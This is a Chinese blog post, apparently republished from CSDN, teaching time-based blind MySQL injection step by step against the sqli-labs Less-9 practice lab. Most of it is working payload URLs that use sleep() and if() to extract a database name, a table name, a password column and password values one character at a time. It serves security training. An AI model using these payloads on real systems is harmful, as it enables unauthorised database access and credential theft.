飞道的博客

Mysql注入 -- 延时注入

216人阅读  评论(0)

生活不止眼前的苟且,还有房费、饭费、水电费。。。

---- 网易云热评

 

一、常用函数

1、sleep(5):延时5秒

2、if(a,b,c):a为条件,正确返回b,否则返回c

二、实例测试

1、找到可以注入的payload,服务器反映5秒才有相应

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(5) --+

2、获取数据库长度,如果数据库名的长度等于8停留5秒

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((length(database())=8),5,0)) --+

3、获取数据库名称的每个字母,如果判断正确停留5秒,最后知道数据库名字为"security"

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid(database(),1,1)='s'),5,0)) --+ http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid(database(),2,1)='e'),5,0)) --+

4、获取数据库中的表名,最后得出一个表为users

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u'),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1)='s'),5,0)) --+

5、获取users表中的字段,最后得出一个password字段

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name='users' limit 13,1),1,1)='p'),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name='users' limit 13,1),2,1)='a'),5,0)) --+

6、获取password字段内容,最终获取一个名为admin的内容

http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select password from users limit 7,1),1,1)='a' ),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1' and sleep(if((mid((select password from users limit 7,1),2,1)='d' ),5,0)) --+

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

 


转载:https://blog.csdn.net/weixin_41489908/article/details/116903128
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场